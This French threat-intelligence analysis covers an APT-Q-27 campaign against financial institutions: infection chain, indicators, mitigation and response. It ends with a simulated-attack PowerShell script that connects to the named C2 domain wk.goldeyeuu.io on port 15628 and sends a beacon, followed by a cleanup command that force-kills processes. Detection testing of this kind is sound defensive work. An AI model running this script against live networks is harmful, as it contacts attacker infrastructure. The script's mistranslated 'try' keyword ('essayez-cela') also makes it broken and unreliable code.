Analyse de programme malveillant suspect lié à APT-Q-27 ciblant les institutions financières

Résumé

La campagne présente une chaîne d’infection en plusieurs étapes qui commence par un lien de phishing déguisé en téléchargement d’image, qui livre en réalité un .pif de déploiement. La charge utile initiale est un exécutable .NET lourdement obscurci, signé avec un certificat légitime qui a ensuite été révoqué—ce qui permet de contourner les contrôles basés sur la réputation dans un premier temps. Après l’exécution, il met en scène des composants à l’intérieur d’un répertoire conçu pour ressembler à un cache de mise à jour de Windows, puis passe à une exécution en mémoire uniquement pour réduire les preuves sur disque. Le résultat final est une porte dérobée modulaire qui privilégie la discrétion et l’évasion, maintenant l’accès par une persistance basée sur des services tout en tentant d’éviter les détections de signatures communes.

Enquête

Les analystes de CyStack ont retracé l’URL de livraison initiale jusqu’à une infrastructure hébergée sur storage.googleapis.com et ont récupéré des artefacts en cours de mise en scène—updat.exe, crashreport.dll, et updat.log—d’un dossier caché semblable à un cache. Le déploiement établit une persistance de base via une valeur de registre Run et enregistre ensuite un service Windows nommé Windows Eventn pour maintenir une exécution à long terme. La porte dérobée met en œuvre des vérifications anti-analyse, tente une élévation de privilèges, et modifie les paramètres liés à l’UAC pour réduire les invites utilisateur. Un trafic de commande-et-contrôle a été observé sur le port 15628, et les enquêteurs ont extrait des indicateurs prêts à être détectés incluant des noms de fichiers, des chemins de registre, des identifiants de service, et des chaînes user-agent distinctives.

Atténuation

Appliquez des contrôles de téléchargement stricts pour bloquer les fichiers .pif et appliquez une validation de type de contenu afin que les liens « image » ne puissent pas livrer secrètement des exécutables. Renforcez l’application de la signature de code en validant le statut de révocation et les horodatages des certificats lors de l’exécution. Surveillez les répertoires de cache cachés « semblables à une mise à jour Windows » et alertez sur les ajouts de clés Run inattendus ou les évènements de création de services suspects. Verrouillez les paramètres de politique UAC et audit régulier des modifications aux clés de politique de registre pertinentes.

Réponse

Si une activité est détectée, isolez le point de terminaison immédiatement et collectez les artefacts judiciaires (image mémoire, ruches de registre et preuves de système de fichiers) avant de procéder à une remédiation. Terminez et supprimez le service malveillant Windows Eventn et examinez l’environnement pour les indicateurs récupérés—en particulier les fichiers en cours de mise en scène cachés, une utilisation potentielle de mutex, et toute trace de chargement DLL. Réinitialisez les crédences potentiellement exposées, révisez l’activité des comptes privilégiés pour détecter un abus, et mettez à jour les détections à travers EDR/SIEM avec les IOC extraits.

Exécution simulée

Prérequis : Le contrôle préliminaire de télémétrie & base doit avoir été passé.

Motif : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) destinée à déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

• Narratif de l’attaque & Commandes :
  Un attaquant qui a acquis un point d’appui initial sur l’hôte Windows souhaite établir un tunnel C2 caché vers l’infrastructure APT-Q-27. Utilisant une porte dérobée PowerShell personnalisée, l’opérateur résout le domaine codé en dur wk.goldeyeuu.io et ouvre une connexion TCP sur le port 15628. Le trafic est autorisé en sortie par le pare-feu, et comme la connexion utilise un port non standard, il se distingue dans les journaux du pare-feu. L’attaquant transmet ensuite des commandes encodées sur ce canal (T1059) pour exécuter d’autres charges.

  Étape par étape :

  1. Résolvez le domaine C2 pour vérifier que le DNS fonctionne.
  2. Ouvrez une prise TCP brute à l’adresse IP résolue sur le port 15628.
  3. Envoyez une charge utile « ping » simple pour confirmer la connectivité (en simulant un beacon).

• Script de test de régression :

  # -----------------------------------------------------------------------------------------------------------------
  # Simulate Communication C2 vers wk.goldeyeuu.io sur le port 15628
  # -----------------------------------------------------------------------------------------------------------------
  # Résolution du domaine malveillant (censé retourner une IP contrôlée par l'équipe rouge)
  $c2Domain = "wk.goldeyeuu.io"
  essayez-cela {
      $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
               Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
               Select-Object -First 1
  } catch {
      Write-Error "Échec de la résolution DNS pour $c2Domain"
      exit 1
  }
  
  # Établir une connexion TCP sur le port non standard 15628
  $c2Port = 15628
  $client = New-Object System.Net.Sockets.TcpClient
  essayez-cela {
      $client.Connect($c2IP.IPAddressToString, $c2Port)
      Write-Host "Connecté à $c2Domain ($($c2IP.IPAddressToString)) :$c2Port"
  } catch {
      Write-Error "Échec de la connexion à $c2Domain sur le port $c2Port"
      exit 1
  }
  
  # Envoyer une charge utile simple de balise (ASCII "PING") et fermer la connexion
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
  $stream.Write($payload, 0, $payload.Length)
  $stream.Flush()
  Write-Host "Charge utile de balise envoyée."
  
  # Nettoyage
  $stream.Close()
  $client.Close()
  # -----------------------------------------------------------------------------------------------------------------

• Commandes de nettoyage :

  # Assurez-vous que les connexions TCP persistantes sont fermées (mesure défensive pour l'environnement de test)
  Get-NetTCPConnection -RemotePort 15628 -State Established |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }